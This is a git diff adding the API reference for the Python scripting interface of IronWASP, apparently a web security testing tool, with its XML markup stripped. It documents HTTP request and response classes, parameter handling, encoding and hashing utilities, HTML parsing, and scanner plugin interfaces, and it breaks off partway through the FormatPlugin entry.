diff --git a/APIdoc_Py.xml b/APIdoc_Py.xml new file mode 100644 index 0000000..9003333 --- /dev/null +++ b/APIdoc_Py.xml @@ -0,0 +1,2843 @@ + + + Request + Non-Static + Object that represents a HTTP request. [i[br]]Has methods to create and send HTTP requests. + + + Request(string FullUrl) + Creates Request object from Url, Request Method defaults to GET. + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request(string Method, string FullUrl) + Creates Request object from Url and sets the mentioned method. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org + + + + + Request(string Method, string FullUrl, string BodyString) + Creates Request object from Url, sets the mentioned method and sets the body. + + + string + Method + Request method, Eg: GET or POST + + + string + FullUrl + Url should include the hostname and scheme. [i[br]]Eg: http://ironwasp.org/index.html + + + string + BodyString + Body of the request as string. + + + + + + + FullUrl + string + Non-Static + Entire Url along with scheme and hostname.[i[br]]Eg: http://ironwasp.org/index.html + + + Url + string + Non-Static + Url without the scheme and hostname.[i[br]]Eg: /main/index.aspx?q=123 + + + UrlPath + string + Non-Static + The Path section of the Url without the QueryString.[i[br]]Eg: /main/index.aspx + + + UrlPathParts + string[] + Non-Static + Array of strings where each element is a part of the UrlPath property.[i[br]]Eg: ['main','index.aspx'] + + + SSL + bool + Non-Static + Bool value stating if the request is a SSL request or not. [i[br]]Set this to True to create a SSL request.[i[br]]Alias - Ssl + + + Method + string + Non-Static + HTTP Method of the Request. [i[br]]Eg: GET, POST etc. + + + HttpVersion + string + Non-Static + Version number of the HTTP Request - HTTP/1.1 or HTTP/1.0 + + + Query + Parameters + Non-Static + Contains the QueryString parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Body + Parameters + Non-Static + Contains the Request Body parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Cookie + Parameters + Non-Static + Contains the Cookie parameters in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + Host + string + Non-Static + Hostname of the target server. [i[br]]Eg: www.ironwasp.org + + + HasBody + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Request. + + + BodyString + string + Non-Static + Entire Body of the Request as a single string. [i[br]]Encoding charset used is taken from the Content-Type header or ISO-8859-1 is used if none is present. + + + BinaryBodyString + string + Non-Static + Entire Body of the Request as a Base64 encoded string. [i[br]]If a Binary Request body must be assigned then it can be assigned to this property or to the BodyArray property.[i[br]](IronWASP stores binary body as base64 string in its logs). + + + BodyArray + byte[] + Non-Static + Entire Body of the Request as a Byte Array. + + + BodyLength + int + Non-Static + Length of the Request Body. + + + CookieString + string + Non-Static + Gives the value of the 'Cookie' header of the Request. [i[br]]This property can be assigned a new string to update the Cookie value as well. + + + ContentType + string + Non-Static + Value of the Content-Type Header, including the Charset information(if present). + + + IsBinary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Request is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + Response + Response + Non-Static + [READ-ONLY] Response object associated with this Request. [i[br]]Generated on calling the Send() method. + + + + + Send() + Non-Static + + Response + Sends the request to the server and returns the Response object. [i[br]]Call blocks the thread. + + + Follow(Response ResponseToFollow) + Non-Static + + + Response + ResponseToFollow + A 3xx response that must be followed + + + Response + If the response status code is a 301, 302, 303 or 307 then it is followed else the response passed in is returned. + + + GetRedirect(Response RedirectResponse) + Non-Static + + + Response + RedirectResponse + Response to the Request which contains a Redirect header + + + Request + If the response status code is a 301, 302, 303 or 307 then the a Request object specific to follow the redirection is returned.[i[br]]If the Response is not a redirect then a null value is returned. + + + SetCookie(Response Res) + Non-Static + + + Response + Res + IronWASP Response object + + + None + Reads the contents of the Set-Cookie headers from the Response object and adds them as cookies in the Request. + + + SetCookie(SetCookie[] SetCookies) + Non-Static + + + SetCookie[] + SetCookies + A list of SetCookie objects. This is usually the SetCookies property of the IronWASP Response object. + + + None + Sets the Cookie of the request with the provided value. + + + SetCookie(SetCookie SetCookieObject) + Non-Static + + + SetCookie + SetCookieObject + A SetCookie object + + + None + Sets the Cookie of the request with the provided value. + + + SetCookie(CookieStore Store) + Non-Static + + + CookieStore + Store + CookieStore object where cookies are stored + + + None + Reads the CookieStore objects and the Cookies relevant to this Request are added. [i[br]]Revelant cookies are picked based on the Host, Path and Secure attributes of the cookies stored in the CookieStore. + + + GetBodyEncoding() + Non-Static + + string + Returns the Encoding Charset of the request from the Content-Type header. [i[br]]If no Charset is specified then ISO-8859-1 is returned. + + + GetHeadersAsString() + Non-Static + + string + Returns the entire Request header section containing the method, url, HTTP version and headers as a single string. + + + ToString() + Non-Static + + string + Returns the entire Request as a single string. + + + ToBinaryString() + Non-Static + + string + Returns the entire Request as a specially formatted string that preserves any binary content in the request body. + + + GetFullRequestAsByteArray() + Non-Static + + byte[] + Returns the entire Request header section containing the method, url, HTTP version and headers as a Byte Array. + + + FromProxyLog(int ID) + Static + + + int + ID + ID of the Request in the Proxy Log. + + + Request + Creates a Request object from the specified record in the Proxy Log and returns it. + + + FromProxyLog() + Static + + Request[] + Creates an array of all Request objects from the Proxy Log and returns it. + + + FromTestLog(int ID) + Static + + + int + ID + ID of the Request in the Manual Testing Log. + + + Request + Creates a Request object from the specified record in the Manual Testing Log and returns it. + + + FromTestLog() + Static + + Request[] + Creates an array of all Request objects from the Manual Testing Log and returns it. + + + FromProbeLog(int ID) + Static + + + int + ID + ID of the Request in the Probe Log. + + + Request + Creates a Request object from the specified record in the Probe Log (Crawler) and returns it. + + + FromProbeLog() + Static + + Request[] + Creates an array of all Request objects from the Probe Log(Crawler) and returns it. + + + FromShellLog(int ID) + Static + + + int + ID + ID of the Request in the Scripting Shell Log. + + + Request + Creates a Request object from the specified record in the Scripting Shell Log and returns it. + + + FromShellLog() + Static + + Request[] + Creates an array of all Request objects from the Scripting Shell Log and returns it. + + + FromScanLog(int ID) + Static + + + int + ID + ID of the Request in the 'Automated Scanning' Log. + + + Request + Creates a Request object from the specified record in the 'Automated Scanning' Log and returns it. + + + FromScanLog() + Static + + Request[] + Creates an array of all Request objects from the 'Automated Scanning' Log and returns it. + + + FromString(string RequestString) + Static + + + string + RequestString + String representing the entire request, usually the output of the ToString() method. + + + Request + Creates a Request object from the string and returns it. + + + FromBinaryString(string RequestBinaryString) + Static + + + string + RequestString + Specially formatted binary string representing the entire request, the output of the ToBinaryString() method. + + + Request + Creates a Request object from the string and returns it. + + + GetId() + Non-Static + + int + Returns the ID of the Request object in its respective log. + + + + + Response + Non-Static + Object that represents a HTTP response. Has methods to read and analyze the response. + + + + + Code + int + Non-Static + [READ-ONLY] Status code of the response. [i[br]]Eg: 200 + + + Status + string + Non-Static + [READ-ONLY] Status description of the response. [i[br]]Eg: OK + + + HttpVersion + string + Non-Static + [READ-ONLY] HTTP Version of the response.[i[br]]Eg: HTTP/1.1 + + + SetCookies + SetCookie[] + Non-Static + A collection of SetCookie objects. This is built by parsing the 'Set-Cookie' headers in the Response + + + Headers + Parameters + Non-Static + Contains the Request Headers in a list of Key/Value pairs. [i[br]]Access these parameters using the methods of the Parameter Class + + + IsBinary + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is in text or binary format. [i[br]] This property can be controlled by setting a suitable value in the HTTP API section of the config panel + + + HasBody + bool + Non-Static + [READ-ONLY] Boolean value representing the presence of a Body in the Response. + + + BodyString + string + Non-Static + Body of the response represented as a string. + + + BinaryBodyString + string + Non-Static + Body of the response represented as a Base64 encoded string. + + + BodyArray + byte[] + Non-Static + Body of the response represented as a Byte Array. + + + BodyEncoding + string + Non-Static + Content Encoding used for the Response Body. + + + Html + HTML + Non-Static + Body of the Response represented as a HTML object. + + + IsHtml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is HTML text or not. + + + IsJavaScript + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JavaScript text or not. + + + IsCss + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid CSS text or not. + + + IsXml + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid XML text or not. + + + IsJson + bool + Non-Static + [READ-ONLY] Boolean value indicating if the Body of the Response is valid JSON text or not. + + + + + ToString() + Non-Static + + string + Returns the entire Response as a single string. + + + + + Session + Non-Static + Represents an HTTP transaction, contains a Request and a Response object. + + + + + Request + Request + Non-Static + The Request object stored inside the Session. + + + Response + Response + Non-Static + The Response corresponding to the Request object, if available. + + + + + FromProxyLog(int ID) + Static + + + int + ID + ID of the Session in the Proxy Log. + + + Session + Creates an Session object from the specified record in the Proxy Log and returns it. + + + FromProxyLog() + Static + + Session[] + Creates an array of all Session objects from the Proxy Log and returns it. + + + FromTestLog(int ID) + Static + + + int + ID + ID of the Session in the Manual Testing Log. + + + Session + Creates an Session object from the specified record in the Manual Testing Log and returns it. + + + FromTestLog() + Static + + Session[] + Creates an array of all Session objects from the Manual Testing Log and returns it. + + + FromProbeLog(int ID) + Static + + + int + ID + ID of the Session in the Probe Log. + + + Session + Creates an Session object from the specified record in the Probe Log(Crawler) and returns it. + + + FromProbeLog() + Static + + Session[] + Creates an array of all Session objects from the Probe Log(Crawler) and returns it. + + + FromShellLog(int ID) + Static + + + int + ID + ID of the Session in the Scripting Shell Log. + + + Session + Creates an Session object from the specified record in the Scripting Shell Log and returns it. + + + FromShellLog() + Static + + Session[] + Creates an array of all Session objects from the Scripting Shell Log and returns it. + + + FromScanLog(int ID) + Static + + + int + ID + ID of the Session in the 'Automated Scanning' Log. + + + Session + Creates an Session object from the specified record in the 'Automated Scanning' Log and returns it. + + + FromScanLog() + Static + + Session[] + Creates an array of all Session objects from the 'Automated Scanning' Log and returns it. + + + GetId() + Non-Static + + int + Returns the ID of the Session object in its respective log. + + + + + Parameters + Non-Static + Base class for the QueryParameters, BodyParameters, HeaderParameters and CookieParameter classes. Used to store Key-Value pairs. Key is a string and Value is a list of strings.[i[br]] The Keys for HeaderParameters are case-insensitive, for others it is case-sensitive. + + + + + Count + int + Non-Static + Number of Parameters present in this object. + + + + + Get(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the value of the parameter with the given name in the same decoded form as the application would see it. [i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a#b' by the Get method as it will properly decode it before returning. + + + RawGet(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string + Returns the raw value of the parameter with the given name, as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q=a%23b' the value of Query parameter 'q' will be returned as 'a%23b' by RawGet method, whereas the Get method would decode it and return as 'a#b'. + + + GetNames() + Non-Static + + string[] + Returns the Names of all the parameters as a list. The form of parameter names is the same decoded form as the application would see it.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q#r' by GetNames method. + + + RawGetNames() + Non-Static + + string[] + Returns the Names of all the parameters as a list. The form of the parameter names is as it appears in the HTTP Request string that is sent over the network. [i[br]]Depending on if this is Query/Body/Header/Cookie parameter name the value will be the appropriate encoded form.[i[br]]For example in the Url 'http://example.org/a?q%23r=ab' the value of Query parameter name will be returned as 'q%23r' by RawGetNames method, whereas the GetNames method would decode it and return as 'q#r'. + + + GetAll(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Returns all values of the parameters with the given name. The form of the parameter values is the same decoded form as the application would see it(Refer Get for example). [i[br]]Used when there are two or more parameters with the same name. + + + RawGetAll(string Name) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Returns all values of the parameters with the given name. The form of the parameter values is as they appear in the HTTP Request string that is sent over the network (Refer RawGet for example).[i[br]]Used when there are two or more parameters with the same name. + + + Set(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If Set('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If RawSet('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Set(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the decoded form you want the application to see it. + + + Void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, int SubParameterPosition, string Value) + Non-Static + + + string + Name + Name of the parameter + + + int + SubParameterPosition + When there are two or more parameters with the same name then this indicates the zero-based index of the parameter position that must be set + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + Void + Adds the Name/Value pair to the parameters list at a specified position if two or more parameters exist with the same name. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Set(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values are in the decoded form you want the application to see it. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + RawSet(string Name, string[] Values) + Non-Static + + + string + Name + Name of the parameter + + + string[] + Values + Array of multiple values for the same parameter. The values of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]] If a parameter with that name exisits then it is overwritten. + + + Add(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the decoded form you want the application to see it. [i[br]]Eg: If Add('q', 'a+b') is called on Query parameter of a Request then the in the Url it would become '?q=a%2bb' and so the value of q will be read by the application as 'a+b', as originally set. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + RawAdd(string Name, string Value) + Non-Static + + + string + Name + Name of the parameter + + + string + Value + Value of the parameter in the encoded form as it appears in the HTTP Request string that is sent over the network. [i[br]]Eg: If RawAdd('q', 'a+b') is called on Query parameter of a Request then in the Url it would become '?q=a+b' and so the value of q will be read by the application as 'a b'. + + + Void + Adds the Name/Value pair to the parameters list. [i[br]]If a parameter with that name exisits then this value is appened to the exisiting list. + + + Remove(string Name) + Non-Static + + + string + Name + Name of the parameter + + + Void + Removes the specified parameter from the list. + + + RemoveAll() + Non-Static + + Void + Removes all parameters from the list. + + + Has(string Name) + Non-Static + + + string + Name + Name of the parameter + + + Bool + Checks if the given parameter name exists in the list and returns a bool value. + + + GetMultis() + Non-Static + + string[] + Returns the name of the parameters that have multiple values. [i[br]]Use GetAll to get those values. + + + + + Tools + Static + Collection of commonly required utilities + + + + + + + UrlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Url-Encoded version of the input. + + + HtmlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a HTML-encoded version of the input. + + + Base64Encode(string Input) + Static + + + string + Input + String to encode + + + string + Returns a Base64-encoded version of the input. + + + ToHex(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string and returns it. + + + ToHex(byte[] Input) + Static + + + byte[] + Input + ByteArray to encode + + + string + Converts all bytes to HEX string and returns it. + + + HexEncode(string Input) + Static + + + string + Input + String to encode + + + string + Converts all characters to HEX string with a preceding '%' and returns it. + + + XmlEncode(string Input) + Static + + + string + Input + String to encode + + + string + Encodes the Input to make it suitable to be added as a XML node's value + + + UrlDecode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Url-Decoded version of the input. + + + HtmlDecode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a HTML-Decoded version of the input. + + + Base64Decode(string Input) + Static + + + string + Input + String to decode + + + string + Returns a Base64-Decoded version of the input. + + + Base64DecodeToHex(string Input) + Static + + + string + Input + String to decode + + + string + Base64 decodes the Input and returns the results as a Hex string. + + + HexDecode(string Input) + Static + + + string + Input + String to decode + + + string + Converts all the HEX characters to ascii equivalents. + + + md5(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a MD5 hash of the input. + + + sha1(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA1 hash of the input. + + + sha256(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA256 hash of the input. + + + sha384(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA384 hash of the input. + + + sha512(string Input) + Static + + + string + Input + String to Hash + + + string + Creates a SHA512 hash of the input. + + + Diff(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + DiffResult + Does a line-by-line Diff of two multi-line strings and returns a DiffResult object containg the result. + + + DiffLine(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + DiffResult + Does a word-by-word Diff of single line strings and returns a DiffResult object containg the result. + + + DiffLevel(string Source, string Destination) + Static + + + string + Source + String to be used as source text + + + string + Destination + String to be used as destination text + + + int + Gives a value between 0 - 100 indicating the percent of difference between the two strings. 0 indicates the two strings are same. 100 indicates the two strings are fully different. + + + + + DiffResult + Non-Static + Represents a result of a Diff of two strings. Returned by the method - Tools.Diff() + + + + + Deleted + int[] + Non-Static + Line numbers in the first string that are not present in the second string + + + MissingAt + int[] + Non-Static + Line numbers in the second string where the deleted sections of first string should have appeared + + + Inserted + int[] + Non-Static + Line numbers in the second string that contain sections not present in the first string + + + UnChanged + int[] + Non-Static + Line numbers in the second string that remain the same as first string + + + DeletedSections + string[] + Non-Static + Sections of the first string that are not present in the second string + + + InsertedSections + string[] + Non-Static + Sections of the second string that are not present in the first string + + + UnChangedSections + string[] + Non-Static + Sections of the second string that are also present in the first string + + + + + + + AskUser + Static + Class that enables scripts to create UI pop-ups and get data from user at run-time. + + + + + + + ForBool(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with a 'Yes' and a 'No' button and waits. Returns the user's input as a boolean. + + + ForString(string Title, string Message) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + bool + Shows a pop-up window with the provided title and message along with an input field and a 'Submit' button. Returns the user's input as a string. + + + ForString(string Title, string Message, string ImageFilePath) + Static + + + string + Title + Title of the message, shown at the top of the pop-up window + + + string + Message + Message to be shown to to the user + + + string + ImageFilePath + Full path to any image file on the local hard drive. Eg: Capcha images + + + bool + Shows a pop-up window with the provided title and message and also displays the image inside this window along with an input field and a 'Submit' button. Returns the user's input as a string. + + + + + SetCookie + Non-Static + Represents all the information available in a Set-Cookie header + + + SetCookie(string SetCookieHeaderString) + Parses the a Set-Cookie header and creates a object that gives easy access to the contained information + + + string + SetCookieHeaderString + The Set-Cookie header string + + + + + + + Name + string + Non-Static + [READ-ONLY] Name of the key in the key-value pair included in the Set-Cookie header + + + Value + string + Non-Static + [READ-ONLY] Value of the key included in the Set-Cookie header + + + FullString + string + Non-Static + [READ-ONLY] Returns the full Set-Cookie header as a single string + + + Path + string + Non-Static + [READ-ONLY] Value of the Path attribute + + + Domain + string + Non-Static + [READ-ONLY] Value of the Domain attribute + + + Expires + string + Non-Static + [READ-ONLY] Value of the Expires attribute + + + MaxAge + string + Non-Static + [READ-ONLY] Value of the Max-Age attribute + + + HttpOnly + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the HttpOnly flag is set. + + + Secure + bool + Non-Static + [READ-ONLY] Boolean value inditicating if the Secure flag is set. + + + Comment + string + Non-Static + [READ-ONLY] Comments contained in the Set-Cookie header + + + Version + string + Non-Static + [READ-ONLY] Version information from the Set-Cookie header + + + + + CookieStore + Non-Static + A store to save Cookies and add them to any Requests + + + CookieStore() + Creates a new empty Cookie Store object + + + + + + + + + Add(Request Req, Response Res) + Non-Static + + + Request + Req + Request object that was sent to the server + + + Response + Res + Response object recieved for the Request + + + void + Updates the CookieStore with the Response object's SetCookie headers + + + Add(string Host, string Cookie) + Non-Static + + + string + Host + Hostname of the site + + + string + Cookie + Cookie header as a string Eg: "SessionID=sad797asjd2323" + + + void + Updates the CookieStore with the Cookie against the specified Hostname + + + GetCookies() + Non-Static + + + SetCookie[] + Returns a list of SetCookie objects that represent all the cookies stored inside the CookieStore object + + + GetCookies(Request Req) + Non-Static + + + Request + Req + Request that must be sent to the server + + + SetCookie[] + Returns a list of SetCookie objects that represent the matching cookies stored inside the CookieStore object. Matches are done on the Hostname and Path of the Request object and the stored cookies. + + + + + HTML + Non-Static + A class that represents a HTML document and contains methods to traverse it. + + + HTML(string HtmlString) + Creates a HTML object from raw string containg HTML tags + + + string + HtmlString + String containg HTML tags, usually the Response Body. + + + + + + + Links + string[] + Non-Static + Lists all the links contained in the HTML document + + + Comments + string[] + Non-Static + Lists all the comments contained in the HTML document + + + Html + HtmlDocument + Non-Static + The base HtmlDocument object of HtmlAgilityPack + + + + + Load(string HtmlString) + Non-Static + + Void + Updates the HTML object with new HtmlString + + + Get(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string[] + Returns all the elements of the given name as strings. [i[br]]Eg: my_html.Get("script") + + + Get(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("script","src") + + + Get(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string[] + Returns matching elements as strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("*","class","code") + + + GetValues(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload' etc + + + string[] + Returns the matching atrribute values as list of strings. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("script","src") + + + GetValues(string ElementName, string AttributeName, string AttributeValues, string InterestedAttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload', 'id' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + string + InterestedAttributeName + Name of an attribute of the element whose value must be returned. Eg: 'src', 'onload', 'id' etc + + + string[] + Returns the interested attribute values as list of strings from the elements matched by the element name and containing the provided attribute name/value pair. the presence of the provided attribute. [i[br]]Eg: my_html.GetValues("a", "class", "left_nav", "href") will get the 'href' values of only those 'a' tags that have a 'class' attribute with value 'left_nav' + + + GetMetaContent(string MetaAttributeName, string MetaAttributeValue) + Non-Static + + + string + MetaAttributeName + Name of an HTML Meta tag attribute. Eg: 'http-equiv' + + + string + MetaAttributeValue + Value of the attributes mentioned by the MetaAttributeName parameter. Eg: 'set-cookie' (in case of attribute name 'http-equiv') + + + string[] + Returns the value of the 'content' attribute of 'meta' HTML tag that have an attribute matching MetaAttributeName with its value matching as MetaAttributeValue, as list of strings. [i[br]]Eg: my_html.GetMetaContent("http-equiv", "set-cookie") + + + GetNodes(string ElementName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + HtmlNodeCollection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack. [i[br]]Eg: my_html.Get("script") + + + GetNodes(string ElementName, string AttributeName) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + HtmlNodeCollection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("script","src") + + + GetNodes(string ElementName, string AttributeName, string AttributeValues) + Non-Static + + + string + ElementName + Name of an HTML element. Eg: 'img', 'body' etc + + + string + AttributeName + Name of an attribute of the element. Eg: 'src', 'onload' etc + + + string + AttributeValue + Value of the Attribute mentioned in the last parameter. + + + HtmlNodeCollection + Returns matching elements as HtmlNodeCollection object of HtmlAgilityPack. Elements matched by the element name and the presence of the provided attribute. [i[br]]Eg: my_html.Get("*","class","code") + + + Query(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a" + + + string[] + Returns all the elements of the given Html object that matched the Xpath Query as strings. [i[br]]Eg: my_html.QueryNodes("//a") + + + QueryNodes(string XpathQuery) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + HtmlNodeCollection + Returns all the elements of the given name as HtmlNodeCollection object of HtmlAgilityPack that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + QueryValues(string XpathQuery, string AttributeName) + Non-Static + + + string + XpathQuery + Xpath Query that must be executed on the Html object. Eg: "//a[@onclick]" + + + string + AttributeName + Name of the Attribute whose value must be returned + + + string[] + Returns an array of strings containing the value of the Attribute from the Nodes that matched the Xpath Query. [i[br]]Eg: my_html.QueryNodes("//a[@onclick]") + + + GetForms() + Non-Static + + + HtmlNode[] + Returns an array of HtmlNode(HtmlAgilityPack) objects that represent the Forms in the Html object. The HtmlNodes only contain the Form and Input Html elements, unnecessary elements are stripped off. + + + GetJavaScript() + Non-Static + + + string[] + Returns an array of string containing all the JavaScript from the Script tags and event attributes of the Html + + + GetJavaScript(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only JavaScript snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the JavaScript that contain the Keyword, from the Script tags and event attributes of the Html + + + GetVisualBasic() + Non-Static + + + string[] + Returns an array of string containing all the VisualBasic from the Script tags of the Html + + + GetVisualBasic(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only VisualBasic snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the VisualBasic that contain the Keyword, from the Script tags of the Html + + + GetCss() + Non-Static + + + string[] + Returns an array of string containing all the CSS from the Style tags and style attributes of the Html + + + GetCss(string Keyword) + Non-Static + + + string + Keyword + A string value set by user, only CSS snippets that have this keyword are returned. + + + string[] + Returns an array of string containing all the CSS that contain the Keyword, from the Style tags and style attributes of the Html + + + XpathSafe(string Input) + Non-Static + + + string + Input + The value that must be made Xpath safe + + + string + Takes the input string and returns an ouput that is fit to be used as an attribute value in a Xpath query. + + + GetContext(string Keyword) + Non-Static + + + string + Keyword + The Keyword whose context must be found + + + string[] + Checks the occurances of the Keyword in the Html and returns the contexts. + + + + + ActivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on the a webpage through active interaction. + + + + + Name + string + Non-Static + Name of the Active Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(ActivePlugin NewActivePluginObject) + Static + + + ActivePlugin + NewActivePluginObject + New ActivePlugin Object + + + Void + Adds a new Active Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the ActivePlugin + + + ActivePlugin + Returns a ActivePlugin of the given name from IronWASP's internal list. [i[br]]Eg: ActivePlugin.Get("Cross-site Scripting") + + + List() + Static + + string[] + Returns the names of all ActivePlugins currently present in IronWASP's internal list. + + + Check(Request Req, Scanner Scan) + Non-Static + + + Request + Req + The Request that is being scanned + + + Scanner + Scan + The Scanner object that is calling this Active Plugin + + + Void + This method contains the vulnerability checking logic of this particular ActivePlugin and performs the required check. + + + + + PassivePlugin + Non-Static + An IronPython or IronRuby script that performs some vulnerability checks on requests/responses passively. + + + + + Name + string + Non-Static + Name of the Passive Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(PassivePlugin NewPassivePluginObject) + Static + + + PassivePlugin + NewPassivePluginObject + New PassivePlugin Object + + + Void + Adds a new Passive Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the PassivePlugin + + + PassivePlugin + Returns a PassivePlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all PassivePlugins currently present in IronWASP's internal list. + + + Check(Session Sess, PluginResults Results) + Non-Static + + + Session + Sess + The Session object that is being passively scanned + + + PluginResults + Results + The object that will hold the findings of the check if any. + + + Void + This method contains the vulnerability checking logic of this particular PassivePlugin and performs the required check. + + + + + FormatPlugin + Non-Static + An IronPython or IronRuby script that can convert an object of any special format to xml and back. + + + + + Name + string + Non-Static + Name of the Format Plugin + + + Description + string + Non-Static + Information about the plugin. + + + Version + string + Non-Static + Version number of the Plugin + + + + + Add(FormatPlugin NewFormatPluginObject) + Static + + + FormatPlugin + NewFormatPluginObject + New FormatPlugin Object + + + Void + Adds a new Format Plugin to IronWASP's internal list + + + Get(string PluginName) + Static + + + string + PluginName + Name of the FormatPlugin + + + FormatPlugin + Returns a FormatPlugin of the given name from IronWASP's internal list. + + + List() + Static + + string[] + Returns the names of all FormatPlugins currently present in IronWASP's internal list. + + + XmlToArray(string Xml) + Static + + + string + Xml 